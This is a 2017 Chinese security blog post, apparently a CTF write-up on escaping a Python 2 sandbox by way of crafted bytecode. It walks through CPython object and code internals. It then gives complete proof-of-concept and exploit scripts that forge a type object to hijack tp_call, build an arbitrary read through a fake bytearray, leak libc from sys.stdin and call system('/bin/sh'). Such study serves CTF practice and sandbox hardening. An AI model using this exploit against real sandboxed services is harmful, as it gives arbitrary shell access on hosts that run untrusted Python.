【技术分享】Python沙箱？不存在的

发布时间：2017-07-04 10:43:58

作者：anciety

预估稿费：600RMB

投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿

前言

1. TCTF 2017 final Python

之前在TCTF的线下赛上碰到了Python的一道沙箱逃逸题目，虽然最后由于主办方题目上的一些疏漏导致了非预期解法的产生，但是本身真的是不错的沙箱逃逸案例，如果是按照预期解法，可以说以后别的沙箱逃逸题如果不改Python的源码感觉已经没啥可出的必要了。

题目的话，不用担心没有题目，你就想成一个除了sys模块，连file object都用不了的Python2就行了，其实用真的Python2然后自己不用这些就可以模拟这道题目啦。

Python的沙箱逃逸在之前的CTF就有出现过，不过大多是利用Python作为脚本语言的特性来逃逸，相当于换其他方式达到相同目的，比如没了file，通过别的方式拿到file，这次的题目其实也是可以这样搞的，因为stdin等等对象是file对象，可以用来拿到file对象，这样就可以做到在服务器上进行任意读写，之后比如可以写/proc/self/mem或者编译一个c写的python module然后写到/tmp里之后考虑去import，这些其实都是非预期解法，预期解法就相当有意思了，用的方法是通过Python的字节码来获取，这里我们也就需要重点讲这个方面的内容了。

2. Python沙箱？不存在的

作为前言的一小部分，我还想提一个问题，python，到底有没有沙箱？

其实这跟我看过的一个presentation，演讲者问台下，chroot到底是不是安全机制，是一个道理。python我个人认为，没有沙箱这一说。我估计我这么说应该好多人不同意，但是事实就是python在设计的时候根本没有考虑这方面的因素，原因？一会我们看看代码就知道了。

调试环境

• os: manjaro linux 17.01

• python: python2.7.13 debug版本(自己编译的)，更改了两个可能在debug下出错的地方，主要是ceval.c:825，改为release版本的写法，还有924行，这一段的define都改为没有LLTRACE的写法。

Python虚拟机原理

1.对象

Python的虚拟机的源码有一个很典型的特点，那就是一切皆对象。虽然代码是用C写的，但是面向对象的思路倒是用的非常细致，我们首先来看几个典型的对象：

PyObject：https://github.com/python/cpython/blob/2.7/Include/object.h

首先总结以下Python object的基本特点：

1)除了Type Object（一会提到），其他object一律分配在堆上；

2)object都有引用计数来确保垃圾回收功能的正常；

3)Object有一个type，创建时候一个object的type就固定了，type自己也是object，这就是Type Object；

4)Object的内存和地址保持不变，如果是变量的，通过指向变量内存的指针实现；

5)Object的类型是PyObject *。

实现：

```
/* 堆对象的双向链表作为pyobject的结构体开始部分 */
#define _PyObject_HEAD_EXTRA
struct _object *_ob_next;
struct _object *_ob_prev;

/* 真正的pyobject结构开始部分 */
#define PyObject_HEAD
_PyObject_HEAD_EXTRA
Py_ssize_t ob_refcnt;
struct _typeobject *ob_type;
/* 带有变大小容器的object的头部（结构体开始部分） */
#define PyObject_VAR_HEAD
PyObject_HEAD
Py_ssize_t ob_size; /* 可变部分个体的数量 */
/* object */
typedef struct _object {
PyObject_HEAD
} PyObject;
/* 带有变大小容器（带有大小可变指针的对象 */
typedef struct {
PyObject_VAR_HEAD
} PyVarObject;
/* 每一个Python对象的结构体开始部分(模拟了面向对象的继承) */
#define PyObject_HEAD       PyObject ob_base;
/* 变量对象，同理 */
#define PyObject_VAR_HEAD       PyVarObject ob_base;
```

这部分主要是PyObject的定义和PyVarObject的定义，是Python中对象的内部表示。

至于Type Object由于代码较长，我认为对理解运行原理帮助也不大，就不截下来了，最主要的就是需要理解用来表示一个Python对象的类型的也是一个对象。

至于用来检查对象类型的方法：

```
#define Py_TYPE(ob) (((PyObject*)(ob))->ob_type)
```

可以看出，检查方法也就是通过ob，也就是在PyObject_HEAD里的信息来检查。

2.code对象

翻译为 ▼

通过之前的讨论，我们知道了Python对对象的表示方式，只要在结构体里最开始部分写 PyObject_HEAD 或者 PyObject_VAR_HEAD 就可以是一个PyObject或者PyVarObject对象了。那么Python代码是怎么表示的呢？

答案就是——code对象：https://github.com/python/cpython/blob/2.7/Include/code.h

```
/* 字节码对象 */
/* Bytecode object */
typedef struct {
PyObject_HEAD
int co_argcount; /* 除了*args以外的参数 */
int co_nlocals; /* 局部变量 */
int co_stacksize;
int co_flags;
PyObject *co_code; /* 字节码 */
PyObject *co_consts;
PyObject *co_names;
PyObject *co_varnames;
PyObject *co_freevars;
PyObject *co_cellvars;
PyObject *co_filename;
PyObject *co_name;
int co_firstlineno;
PyObject *co_lnotab;
void *co_zombieframe;
PyObject *co_weakreflist;
} PyCodeObject;
/* 检查一个对象是不是code对象 */
#define PyCode_Check(op) (Py_TYPE(op) == &PyCode_Type)
/* 创建一个PyCode的接口，和后文CodeType创建PyCode一致 */
PyAPI_FUNC(PyCodeObject *) PyCode_New(
int, int, int, int, PyObject *, PyObject *, PyObject *, PyObject *,PyObject *, PyObject *, PyObject *, PyObject *, int,
```

这里的代码不是太有意思我就不解释了，从这里我们可以知道两点：

1)一个PyCode对象包含了一段代码对于Python来说所需要的所有信息，其中比较重要的是字节码；

2)检查一个PyCode对象的类型是通过检查HEAD部分的内容的，HEAD的内容是在创建PyCode的时候指定的，根据之前对象的原则，创建之后就不再改变了。

3.运行原理

运行有关代码：https://github.com/python/cpython/blob/2.7/Python/ceval.c

其中用来运行的代码_PyEval_EvalFrameDefault， 从第1199行的switch(opcode)即是运行的主要部分，通过不同的opcode进行不同的操作。

其实整个Python的运行过程就是首先通过compile构建一个PyCodeObject，得到代码的字节码，之后根据不同的字节码进行不同的操作，过程还是比较简单的。

由于Python是基于栈的，所以会看到一系列操作stack的函数，其实就理解成一个栈结构，这个栈结构里存的是一系列对象就可以了。

搞事情

1.运行任意字节码

好了，原理讲的差不多了，大家应该都明白Python大致的运行机制了，那么我们就结合这个机制来思考一下。

Python的运行是首先compile得到PyCodeObject对吧，那么，PyCodeObject里边的字节码决定了执行什么样的字节码对吧，如果，我能够控制这个字节码，是不是就可以执行我想要的字节码了？

答案是，对的。而且Python并不限制你这么做，毕竟动态语言嘛，你想干嘛也拦不住你。想要操作这个字节码也很简单，types就可以，我们现在来试试。

```
# 接口
# types.CodeType(argcount, nlocals, stacksize, flags, codestring, constants, names,
# varnames, filename, name, firstlineno, lnotab[, freevars[,cellvars]])
from opcode import opmap
import types



def code_object():
pass
code_object.func_code = types.CodeType(
0, 0, 0, 0,
chr(opmap['LOAD_CONST']) + 'xefxbe',
(), (), (),
"", "", 0, ""
)
code_object()
```

这里最重要的就是codestring，是字节码的字符串表示，其他的都不是太重要(注意不要直接复制我这一段代码运行，UTF-8的问题，加个UTF-8或者删掉中文可以运行)，然后我们运行试试。

```
[anciety@anciety-pc temp]$ python2 testpython.py
Segmentation fault (core dumped)
```

seg fault了，不出所料，原因？

我们来调试一下。这里我自己下源码编译了一个有debug符号和源码的Python2.7方便调试。

```
TARGET(LOAD_CONST) {
PyObject *value = GETITEM(consts, oparg);
Py_INCREF(value);
PUSH(value);
FAST_DISPATCH();
}
```

这是解析LOAD_CONST字节码的内容，可以看到首先通过GETITEM得到code object中consts和oparg的参数的内容，之后处理引用计数，然后PUSH了相应的值！

GETITEM是从一个tuple中去取出值，我们看看segfault的地方：

```
1227     TARGET(LOAD_CONST)
1228     {
1229         x = GETITEM(consts, oparg);
→ 1230         Py_INCREF(x);
1231         PUSH(x);
1232         FAST_DISPATCH();
1233     }
1234
gef➤  print oparg
$4 = 0xbeef
```

0xbeef就是我们输入的值，也就是说我们控制了GETITEM的参数。这里就说明了一个很大的问题：我们是可以控制运行的字节码的。最后segfault的原因嘛，这个值取不了，有问题，于是就segfault了。

其实到这，针对Python沙箱的论述也差不多了，毕竟我们已经可以控制运行的字节码，但是毕竟我们最终的目的是拿到shell对吧，那么接下来怎么做?

2.从运行任意字节码到任意代码执行

1)基本思路

好了，我们可以执行任意字节码了，不过还不够。如何执行任意代码？我们需要一个函数指针，反正啥都可以改，我们改掉这个函数指针就可以了。我们也十分幸运，恰巧就有这么一个神奇的函数指针：

https://github.com/python/cpython/blob/5eb788bf7f54a8e04429e18fc332db858edd64b6/Objects/call.c

```
PyObject *
PyObject_Call(PyObject *callable, PyObject *args, PyObject *kwargs)
{
ternaryfunc call;
PyObject *result;
/* PyObject_Call() must not be called with an exception
set, because it can clear it (directly or indirectly)
and so the caller loses its exception */
assert(!PyErr_Occurred());
assert(PyTuple_Check(args));
assert(kwargs == NULL || PyDict_Check(kwargs));

if (PyFunction_Check(callable)) {
return _PyFunction_FastCallDict(callable,
&PyTuple_GET_ITEM(args, 0),
PyTuple_GET_SIZE(args),
kwargs);
}
else if (PyCFunction_Check(callable)) {
return PyCFunction_Call(callable, args, kwargs);
}
else {
call = callable->ob_type->tp_call;
if (call == NULL) {
PyErr_Format(PyExc_TypeError, "'%.200s' object is not callable",
callable->ob_type->tp_name);
return NULL;
}
if (Py_EnterRecursiveCall(" while calling a Python object"))
return NULL;
result = (*call)(callable, args, kwargs); /* 快看！一个漂亮大方的函数指针！ */
Py_LeaveRecursiveCall();
return _Py_CheckFunctionResult(callable, result, NULL);
}
}
```

好了函数指针有了，现在总结一下调用到函数指针的整个流程：

ceval.c：https://github.com/python/cpython/blob/2.7/Python/ceval.c

```
TARGET(CALL_FUNCTION)
{
PyObject **sp;
PCALL(PCALL_ALL);
sp = stack_pointer;
x = call_function(&sp, oparg); /* 这里进call_function */
static PyObject *
call_function(PyObject ***pp_stack, int oparg)
{
int na = oparg & 0xff;
int nk = (oparg>>8) & 0xff;
int n = na + 2 * nk;
PyObject **pfunc = (*pp_stack) - n - 1;
PyObject *func = *pfunc;
PyObject *x, *w;
if (PyCFunction_Check(func) && nk == 0) {
[...]
} else {
 if (PyMethod_Check(func) && PyMethod_GET_SELF(func) != NULL) {
 [...]
} else
Py_INCREF(func);

if (PyFunction_Check(func))
 // don't care
else
x = do_call(func, pp_stack, na, nk); /* 这里进do_call */

}
    [...]
}
static PyObject *
do_call(PyObject *func, PyObject ***pp_stack, int na, int nk)
{
  if (nk > 0) {
   [...]
 if (kwdict == NULL)
 goto call_fail;
 }
callargs = load_args(pp_stack, na);
if (callargs == NULL)
goto call_fail;

 if (PyCFunction_Check(func)) {
 [...]
 }
 else
result = PyObject_Call(func, callargs, kwdict); /* 找到地方了 */
call_fail:
```

翻译为 ▼

```
[...]
}
```

总结一下需要调用到函数指针的过程：

i.字节码类型是CALL_FUNCTION，进入call_function；

ii.call_function中，PyCFunction_Check或者nk==0不成立，之后PyMethod_Check或者PyMethod_GET_SELF(func) != NULL不成立，然后PyFunction_Check不成立，进入do_call；

iii.do_call中PyCFunction_Check不成立，进入PyOBject_Call；

iv.PyObject_call中，func的ob_type的tp_call就是我们要调用的函数指针。

看代码有点烦，通俗地讲：

i.字节码是CALL_FUNCTION；

ii.不是function类型也不是method类型，不过是object类型；

iii.这个object类型的type object里的tp_call就是调用的函数指针。

这么看就简单多了，type object虽然是一开始静态分配的，但是反正又不检查，不是静态分配又如何？伪造一个嘛。

2)最终思路

i.构造一个object，构造为type object的形式，不过tp_call指向想要执行的位置；

ii.构造第二个object，使得type指向第一个object；

iii.构造第三个object，指针指向第二个object；

iv.构造字节码：1.通过extended_arg构造offset参数，offset为consts和第三个object的偏移，2.通过load_const指令，由于按照consts是tuple，会再解一次引用，于是使得第二个object被push进栈，3.通过call_function，进入调用过程；

v.将字节码设置进入某个function的func_code；

vi.执行这个function，即执行我们构造好的func_code。

3)poc.py

```
import types
from opcode import opmap
import struct



def p16(content):
return struct.pack("<H", content)
def p32(content):
return struct.pack("<I", content)
def p64(content):
return struct.pack("<Q", content)
def somefunction():
pass
def get_opcode(opname):
return chr(opmap[opname])
consts = ("12345", )
fake_type_object = 'a' * (0x5610 - 0x55b4) + p64(0xdeadbeef)
ptr_fake_type = id(fake_type_object)
ptr = ptr_fake_type
#         _ob_next _ob_prev ref cntt ob_type
fake_object= 'a' * 4 + p64(ptr) + p64(ptr) + p64(1) + p64(ptr)
#         points to
to_load = 'aaaa' + p64(id(fake_object) + (0x310 - 0x2e0) + 8)
ptr_fake_object = id(to_load) + (0x310 - 0x2e0)
ptr_consts = id(consts) + 32
offset = ((ptr_fake_object - ptr_consts) // 8) & 0xffffffff
def get_code(code_byte_str, code_consts):
somefunction.func_code = types.CodeType(
0, 0, 0, 0,
 code_byte_str,
code_consts, (), (),
"", "", 0, ""
)
return somefunction
extended_arg = get_opcode('EXTENDED_ARG')
load_const = get_opcode('LOAD_CONST')
call_function = get_opcode('CALL_FUNCTION')
load_fast = get_opcode('LOAD_FAST')
code = get_code(
extended_arg +
p16(offset >> 16) +
load_const +
p16(offset & 0xffff) +
call_function +
p16(0),
consts
)
#raw_input()
code()
```

翻译为 ▼

这个poc稍微显得有点乱，但是基本能够表达清楚思路。主要是有一些偏移量的计算不太好算，所以我采用了动态调试的方法，直接看内存结构，然后相减得到的偏移，看起来虽然乱了，但是却是计算偏移最简单的方法，偏移量其实很多时候不是很好静态计算，可能有一些你没想到的细节，如果动态去调着看的话，就一定是正确的偏移了。

运行这个POC，我们可以使rip指向0xdeadbeef了。

3.从POC到EXP，任意执行到shell

其实到这，剩下的步骤虽然还有一些，但是思路上已经全部清晰了，我们可以执行任意代码，现在需要的是：

i.找到system的地址；

ii.传入参数。

1)任意读

根据之前的讨论，我们知道了我们可以随意更改字节码，执行任意字节码，那么想要构造一个新的object也不是难事。想要读取信息，就需要一个指针，而Python有指针的地方实在是太多了。

我们采取的方法是使用ByteArrayObject，ByteArrayObject代码如下：

```
typedef struct {
PyObject_VAR_HEAD
 /* XXX(nnorwitz): should ob_exports be Py_ssize_t? */
 int ob_exports; /* how many buffer exports */
Py_ssize_t ob_alloc; /* How many bytes allocated */
 char *ob_bytes; /* 重点！一个可以读的指针 */
} PyByteArrayObject;
```

所以，想要任意读，伪造一个BYteArrayObject，伪造方法和之前一样，然后直接读就可以了，好了，现在的问题只剩下，读哪儿?

2)system地址

想要找到system的地址，就需要libc地址，libc地址其实还花了我一些时间，不过最终用到一个方法：

sys.stdin的f_fp字段存有_IO_2_1_stdin的地址，这个地址是位于libc data段的，可以利用这个去拿到libc地址，最终拿到system地址，读取方法就根据上一节的PyByteArrayObject的方法就可以。

3)参数

有了system，可以劫持rip，最后的问题是传入参数。这里就需要注意到之前call的调用方式了：

```
result = (*call)(callable, args, kwargs); /* func是第一个参数 */
```

func是一个指针，指向我们构造的“第一个对象”，所以，我们只需要把第一个对象的开始部分设置为"/bin/sh"，由于ob_next并没有用到，所以改为字符串并不会影响其他结果，最后就可以system("/bin/sh")了。

4.exp.py

这个exploit是我自己的环境下的，并且是自己编译的debug版本，执行不正常是可能出现的，因为偏移量不一样，甚至具体代码都有可能有一些不一样，所以仅供参考。最后还是需要自己手动调试才行（特别是各种偏移量）。

```
import types
import sys
from opcode import opmap
import struct
def p16(content):
      return struct.pack("<H", content)


  def p32(content):
    return struct.pack("<I", content)
def p64(content):
    return struct.pack("<Q", content)
def u64(content):
    return struct.unpack("<Q", content)
def get_opcode(opname):
    return chr(opmap[opname])
def get_code(somefunction, code_byte_str, code_consts):
    somefunction.func_code = types.CodeType(
        0, 0, 0, 0,
        code_byte_str,
        code_consts, (), (),
        "", "", 0, ""
    )
    return somefunction
extended_arg = get_opcode('EXTENDED_ARG')
load_const = get_opcode('LOAD_CONST')
call_function = get_opcode('CALL_FUNCTION')
load_fast = get_opcode('LOAD_FAST')
return_value = get_opcode('RETURN_VALUE')
def call(rip):
    """
    make the python call addr
    """


    consts = ("12345", )
    fake_type_object = 'a' * (0x5610 - 0x55b4) + p64(rip)


    ptr_fake_type = id(fake_type_object)
    ptr = ptr_fake_type
    #     _ob_next     _ob_prev     ref cnt ob_type
    fake_object= 'a' * 4 + '/bin/sh;'.ljust(8) + p64(ptr) + p64(1) + p64(ptr)


    to_load = 'aaaa' + p64(id(fake_object) + (0x310 - 0x2e0) + 8)
    ptr_fake_object = id(to_load) + (0x310 - 0x2e0)


    ptr_consts = id(consts) + 32
    offset = ((ptr_fake_object - ptr_consts) // 8) & 0xffffffff


    def somefunction():
        pass
    code = get_code(
```

翻译为 ▼

```
        somefunction,
        extended_arg +
        p16(offset >> 16) +
        load_const +
        p16(offset & 0xffff) +
        call_function +
        p16(0),
        consts
    )
    #raw_input()
    code()
def pwn(addr):
    """
    leak the content of the address and call system('/bin/sh;')
    """
    consts = (12345, )
    to_be_next = bytearray("111")
    next_ptr = id(to_be_next)
    bytearray_type_ptr = int(to_be_next.__subclasshook__.__str__().split('at ')[1][:-1], 16)
    #print("byte array type:{}".format(hex(bytearray_type_ptr)))

    # _ob_next _ob_prev ref cnt ob_type
    fake_bytearray = 'a' * 4 + p64(next_ptr) + p64(next_ptr) + p64(1) + p64(bytearray_type_ptr)
    # size ob_exports junk ob_alloc ob_bytes
    fake_bytearray += p64(0x20) + p32(1) + 'aaaa' + p64(20) + p64(addr)
    to_load = 'aaaa' + p64(id(fake_bytearray) + (0x310 - 0x2e0) + 8) + p64(1) + p64(1)
    ptr_fake_object = id(to_load) + (0x310 - 0x2e0)
    #print("fake byte array:{}".format(hex(ptr_fake_object)))

    ptr_consts = id(consts) + 32
    offset = ((ptr_fake_object - ptr_consts) // 8) & 0xffffffff
    #print("ptr consts:{} offset:{}".format(hex(ptr_consts), hex(offset)))
    def someleak():
        pass

    get_fake_bytearray_function = get_code(
        someleak,
        extended_arg + p16(offset >> 16) +
        load_const + p16(offset & 0xffff) +
        return_value,
        consts
    )

    #raw_input()
    fake_bytearray_object = get_fake_bytearray_function()
    #print("fake byte array object:{}".format(hex(id(fake_bytearray_object))))
    _IO_2_1_stdin_addr_list = []
    for i in range(8):
        _IO_2_1_stdin_addr_list.append(fake_bytearray_object[i])
    _IO_2_1_stdin_addr = u64(''.join(map(chr, _IO_2_1_stdin_addr_list)))[0]
```

翻译为 ▼

```
    #print(_IO_2_1_stdin_addr)
    #print("addr:{}".format(hex(_IO_2_1_stdin_addr)))
    libc_base = _IO_2_1_stdin_addr - 0x39f8a0
    system_addr = libc_base + 0x40db0


    call(system_addr)


if __name__ == "__main__":
    pwn(id(sys.stdin) + 0x20)
```

结论

1.Python真的没有沙箱，本文提出的方法几乎适合于任何情况的Python沙箱，除非有大更改。毕竟整个过程中用的都是Python必须的东西，原生的东西，没有依赖不必要的。

2.调试过程中尽量动态去算偏移，除非是真的必须要静态来看出原理。静态看偏移经常会出错。

注意

1.本文的情况和TCTF final的情况不完全一样，他的情况还有一些地方需要处理。比如没有id函数可以拿到任意对象的地址，并且开启了PIE。本文中的情况考虑了PIE，但是id函数需要自己处理一下。我目前想到的id的处理方式，是通过一个方法，比如a = "";a.ljust.__str__()也是可以达到id函数的效果的，其他类型也可以相应的去找他有的方法来leak出地址。

2.本文的情况都是基于debug版本的，release版本应该会有一些小差别，但是方法是通用的，不过由于时间关系我没有再调试一遍release版本，release版本调试起来也会比较费时间，方法是能用的。

安全知识

anciety

推荐阅读

Windows平台常见反调试技术梳理（上）
2019-06-03 16:15:16

渗透测试实战——born2root:2 + unknowndevice64: 2靶机入侵
2019-06-03 15:36:44

记一次某 CMS 的后台 getshell
2019-06-03 14:35:48

【缺陷周话】第37期：未初始化值用于赋值操作
2019-06-03 11:00:41

发表评论